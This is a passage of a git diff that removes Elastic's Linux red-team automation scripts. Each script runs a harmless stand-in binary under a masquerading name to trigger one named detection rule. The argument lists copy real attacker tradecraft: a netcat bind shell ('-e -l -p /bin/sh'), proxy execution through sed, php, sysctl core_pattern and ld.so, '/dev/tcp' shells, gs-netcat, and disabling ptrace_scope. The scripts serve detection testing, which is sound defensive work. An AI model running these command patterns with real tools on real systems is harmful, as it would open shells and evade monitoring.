"__main__": - sys.exit(main()) diff --git a/rta/linux_defense_evasion_process_masquerading_via_exec.py b/rta/linux_defense_evasion_process_masquerading_via_exec.py deleted file mode 100644 index 6029d6872..000000000 --- a/rta/linux_defense_evasion_process_masquerading_via_exec.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="4e6ded7e-23cb-460c-8a5b-21c5e5e8d6e8", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential Process Masquerading via Exec", - "rule_id": "e6669bc3-cb75-4fb3-91e0-ddaa06dd59b2", - }, - ], - techniques=["T1564", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "[foo]" - masquerade2 = "/tmp/sh" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade2) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade2]) - - commands = [masquerade2, masquerade] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.remove_file(masquerade2) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_defense_evasion_proxy_execution_via_crash.py b/rta/linux_defense_evasion_proxy_execution_via_crash.py deleted file mode 100644 index 860087288..000000000 --- a/rta/linux_defense_evasion_proxy_execution_via_crash.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="fa40fdc4-23bf-491c-bc55-6a6848c5b6da", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential Proxy Execution via Crash", - "rule_id": "995c8bdb-5ebb-4c5b-9a03-4d39b52c0ff3", - }, - ], - techniques=["T1218", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/crash" - masquerade2 = "/tmp/sh" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade2) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade2]) - - commands = [masquerade, "-h", masquerade, "-c", "whoami"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.remove_file(masquerade2) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_defense_evasion_proxy_execution_via_ld_so.py b/rta/linux_defense_evasion_proxy_execution_via_ld_so.py deleted file mode 100644 index 1ce3e5340..000000000 --- a/rta/linux_defense_evasion_proxy_execution_via_ld_so.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="e2a136e5-bda1-41c4-8143-514c0b0784c4", - platforms=["linux"], - endpoint=[ - { - "rule_name": "System Binary Proxy Execution via ld.so", - "rule_id": "10cb6563-35a9-45b7-a394-e7bca6fd5bed", - }, - ], - techniques=["T1218", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/lib/ld-linux-foo.so" - masquerade2 = "/tmp/sh" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade2) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade2]) - - commands = [masquerade, masquerade, "-c", "whoami"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.remove_file(masquerade2) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_defense_evasion_proxy_execution_via_php.py b/rta/linux_defense_evasion_proxy_execution_via_php.py deleted file mode 100644 index 91fcc4d12..000000000 --- a/rta/linux_defense_evasion_proxy_execution_via_php.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="4b186cd2-eebf-4a93-b85d-ba3b3746bf50", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential Proxy Execution via PHP", - "rule_id": "dd914805-e99b-4ff6-b445-775c53d44e10", - }, - ], - techniques=["T1218", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/php" - masquerade2 = "/tmp/sh" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade2) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade2]) - - commands = [masquerade, "-r", masquerade2, "-c", "whoami"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.remove_file(masquerade2) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_defense_evasion_proxy_execution_via_pidstat.py b/rta/linux_defense_evasion_proxy_execution_via_pidstat.py deleted file mode 100644 index 275950de9..000000000 --- a/rta/linux_defense_evasion_proxy_execution_via_pidstat.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="4f705092-fae2-4455-94ab-e42fb13496e7", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential Proxy Execution via Pidstat", - "rule_id": "436e12a8-7a03-4f6f-a3b2-3fe8b8f4c474", - }, - ], - techniques=["T1218", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/pidstat" - masquerade2 = "/tmp/sh" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade2) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade2]) - - commands = [masquerade, "-e", masquerade, "-c", "whoami"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.remove_file(masquerade2) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_defense_evasion_proxy_execution_via_sed.py b/rta/linux_defense_evasion_proxy_execution_via_sed.py deleted file mode 100644 index a1952e334..000000000 --- a/rta/linux_defense_evasion_proxy_execution_via_sed.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="49b9a7c8-5974-4ed3-bba0-12ab02d9b8bc", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential Proxy Execution via Sed", - "rule_id": "272cf3e7-fd3f-442b-a781-f9e864fb1d4c", - }, - ], - techniques=["T1218", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/sed" - masquerade2 = "/tmp/sh" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade2) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade2]) - - commands = [masquerade, "-n", masquerade, "-c", "whoami"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.remove_file(masquerade2) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_defense_evasion_proxy_execution_via_split.py b/rta/linux_defense_evasion_proxy_execution_via_split.py deleted file mode 100644 index 1bace233a..000000000 --- a/rta/linux_defense_evasion_proxy_execution_via_split.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="529c5cfd-4ceb-43a1-a006-40e072e4906c", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential Proxy Execution via Split", - "rule_id": "0c63849b-2e23-4720-9608-0a402d093d3c", - }, - ], - techniques=["T1218", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/split" - masquerade2 = "/tmp/sh" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade2) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade2]) - - commands = [masquerade, masquerade, "--filter=foo", "-c", "whoami"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.remove_file(masquerade2) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_defense_evasion_proxy_execution_via_sysctl.py b/rta/linux_defense_evasion_proxy_execution_via_sysctl.py deleted file mode 100644 index 2ec2dd81d..000000000 --- a/rta/linux_defense_evasion_proxy_execution_via_sysctl.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="aed2d3be-94d1-4e19-80dd-6412b336e827", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential Proxy Execution via Sysctl", - "rule_id": "268ffea4-fc13-4ab5-a473-07d10255ea8d", - }, - ], - techniques=["T1218", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/sysctl" - masquerade2 = "/tmp/sh" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade2) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade2]) - - commands = [masquerade, masquerade, "kernel.core_pattern=/bin/sh -c"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.remove_file(masquerade2) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_defense_evasion_proxy_execution_via_tcpdump.py b/rta/linux_defense_evasion_proxy_execution_via_tcpdump.py deleted file mode 100644 index 98c123e53..000000000 --- a/rta/linux_defense_evasion_proxy_execution_via_tcpdump.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="04c7ac98-3d40-4472-b9bf-996d2a31d227", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential Proxy Execution via Tcpdump", - "rule_id": "b1d81dfe-93d7-4d7d-827d-5def574e8cda", - }, - ], - techniques=["T1218", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/tcpdump" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "-W", "-w", "-z"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_defense_evasion_shebang_decoded_via_builtin_utility.py b/rta/linux_defense_evasion_shebang_decoded_via_builtin_utility.py deleted file mode 100644 index 14bd64ad7..000000000 --- a/rta/linux_defense_evasion_shebang_decoded_via_builtin_utility.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="074901e7-118b-4536-bbed-0e57c319ba2a", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Base64 Shebang Payload Decoded via Built-in Utility", - "rule_id": "e659b4b9-5bbf-4839-96b9-b489334b4ca1", - }, - ], - techniques=["T1027", "T1140", "T1059", "T1204"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/base64" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "-d", "IyEvdXNyL2Jpbi9weXRob24"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_defense_evasion_sysctl_kernel_feature_activity.py b/rta/linux_defense_evasion_sysctl_kernel_feature_activity.py deleted file mode 100644 index 73efabed4..000000000 --- a/rta/linux_defense_evasion_sysctl_kernel_feature_activity.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="a33dd7f2-65b0-49f3-b172-8830e70577f5", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Suspicious Kernel Feature Activity", - "rule_id": "dbbd7fb0-8b29-4c96-901d-166dff728a3b", - }, - ], - techniques=["T1562", "T1553", "T1082"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/sysctl" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "--write", "/proc/sys/kernel/yama/ptrace_scope"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_discovery_command_from_sus_dir.py b/rta/linux_discovery_command_from_sus_dir.py deleted file mode 100644 index ea9410b58..000000000 --- a/rta/linux_discovery_command_from_sus_dir.py +++ /dev/null @@ -1,52 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="be8c9227-8266-4d91-931e-c53e07731d07", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Linux User Discovery Command Execution from Suspicious Directory", - "rule_id": "c932c9f0-76ed-4d78-a242-cfaade43080c", - }, - ], - techniques=["T1059", "T1033"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - # Path for the fake executable - fake_executable = "/dev/shm/evil" - - # Create fake whoami executable - masquerade = "/dev/shm/whoami" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Create a fake executable that launches whoami - with Path(fake_executable).open("w", encoding="utf-8") as script: - script.write("#!/bin/bash\n") - script.write("/dev/shm/whoami\n") - - # Make the script executable - common.execute(["chmod", "+x", fake_executable]) - - # Execute the fake executable - common.log("Launching whoami as a child of fake executable") - common.execute([fake_executable], timeout=5, kill=True, shell=True) # noqa: S604 - - # Cleanup - common.remove_file(fake_executable) - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_exec_interactive_shell.py b/rta/linux_exec_interactive_shell.py deleted file mode 100644 index 14e8b183a..000000000 --- a/rta/linux_exec_interactive_shell.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="94366604-8f84-448e-9761-0eb7b45bc2fa", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Linux Suspicious Child Process Execution via Interactive Shell", - "rule_id": "aa02591f-c9e6-4317-841e-0b075b9515ff", - }, - ], - techniques=["T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/bash" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - commands = [masquerade, "-i"] - - # Execute command - common.log("Launching fake command to simulate an interactive shell process") - common.execute([*commands], timeout=5, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_execution_bind_shell_via_nc_traditional.py b/rta/linux_execution_bind_shell_via_nc_traditional.py deleted file mode 100644 index 540ada358..000000000 --- a/rta/linux_execution_bind_shell_via_nc_traditional.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="bf3591fe-ea36-49e0-af0e-21e927ecfc88", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Bind Shell via Netcat Traditional", - "rule_id": "0fb019ab-98a0-487e-aa37-fabe5b69ec8a", - }, - ], - techniques=["T1059", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/nc" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "-e", "-l", "-p", "/bin/sh"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_execution_bind_shell_via_node.py b/rta/linux_execution_bind_shell_via_node.py deleted file mode 100644 index ddfe87fc7..000000000 --- a/rta/linux_execution_bind_shell_via_node.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="1ab728b4-1c06-4be4-a834-7893f1e9a26e", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Bind Shell via Node", - "rule_id": "08697d36-4c07-4f54-b177-a39e473705c0", - }, - ], - techniques=["T1059", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/node" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "-e", "spawnsh", "listen"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_execution_bind_shell_via_socket.py b/rta/linux_execution_bind_shell_via_socket.py deleted file mode 100644 index b85f0b234..000000000 --- a/rta/linux_execution_bind_shell_via_socket.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="793ae10f-c8a8-4385-8a95-1752f2281611", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Bind Shell via Socket", - "rule_id": "37f6659f-dff4-42bc-91ae-7ed7a9264529", - }, - ], - techniques=["T1059", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/socket" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "-s", "-p", "sh"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_execution_cupsd_foomatic_rip_shell_execution.py b/rta/linux_execution_cupsd_foomatic_rip_shell_execution.py deleted file mode 100644 index 3cd491eb2..000000000 --- a/rta/linux_execution_cupsd_foomatic_rip_shell_execution.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="1c088eaa-97a1-4ff7-9fa5-a6bc311e9b1e", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Foomatic-rip Shell Execution", - "rule_id": "8ccebdc1-9929-4584-ac8f-a96ee8e8c616", - }, - ], - techniques=["T1203"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/foomatic-rip" - masquerade2 = "/tmp/sh" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade2) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade2]) - - commands = [masquerade, masquerade2, "-c", "whoami"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.remove_file(masquerade2) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_execution_cupsd_foomatic_rip_suspicious_child_execution.py b/rta/linux_execution_cupsd_foomatic_rip_suspicious_child_execution.py deleted file mode 100644 index a5158dcc0..000000000 --- a/rta/linux_execution_cupsd_foomatic_rip_suspicious_child_execution.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="00a75607-9f1d-45c1-a9d8-41229cdb561f", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Suspicious Execution from Foomatic-rip or Cupsd Parent", - "rule_id": "7c4d6361-3e7f-481a-9313-d1d1c0e5a3a9", - }, - ], - techniques=["T1203"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/foomatic-rip" - - source = common.get_path("bin", "netcon_exec_chain.elf") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "exec", "-c", "/dev/tcp"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_execution_gsocket_activity.py b/rta/linux_execution_gsocket_activity.py deleted file mode 100644 index 47761fe3c..000000000 --- a/rta/linux_execution_gsocket_activity.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="b6dde7bc-4408-4a29-9c23-3c72cab3548c", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential Gsocket Activity", - "rule_id": "9015e5ec-a68d-4539-923d-a96d2c6227d3", - }, - ], - techniques=["T1059", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/sh" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "gs-netcat"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_execution_hidden_process_unusual_execution.py b/rta/linux_execution_hidden_process_unusual_execution.py deleted file mode 100644 index 6f62f40c0..000000000 --- a/rta/linux_execution_hidden_process_unusual_execution.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="50efd72e-147a-4f24-8c36-f8d1d69a9cfc", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Suspicious Execution via a Hidden Process", - "rule_id": "c52891b5-8f83-4571-8e68-ea2601f46285", - }, - ], - techniques=["T1059", "T1564", "T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake hidden executable..") - masquerade = "/tmp/.evil" - source = common.get_path("bin", "netcon_exec_chain.elf") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "exec", "-c", "/dev/tcp"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_execution_interactive_shell_spawn_from_hidden_process.py b/rta/linux_execution_interactive_shell_spawn_from_hidden_process.py deleted file mode 100644 index 77cbc6924..000000000 --- a/rta/linux_execution_interactive_shell_spawn_from_hidden_process.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="fd5fb7a8-398a-4322-ae28-8f88cce6aa88", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Interactive Shell Spawned via Hidden Process", - "rule_id": "52deef30-e633-49e1-9dd2-da1ad6cb5e43", - }, - ], - techniques=["T1059", "T1564"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake hidden executable..") - masquerade = "/tmp/.evil" - source = common.get_path("bin", "netcon_exec_chain.elf") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "exec", "-c", "-i"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_execution_kill_from_executable_in_unusual_location.py b/rta/linux_execution_kill_from_executable_in_unusual_location.py deleted file mode 100644 index b1723aa86..000000000 --- a/rta/linux_execution_kill_from_executable_in_unusual_location.py +++ /dev/null @@ -1,53 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="0612b920-62d8-4e1c-81c6-e6583571fc49", - 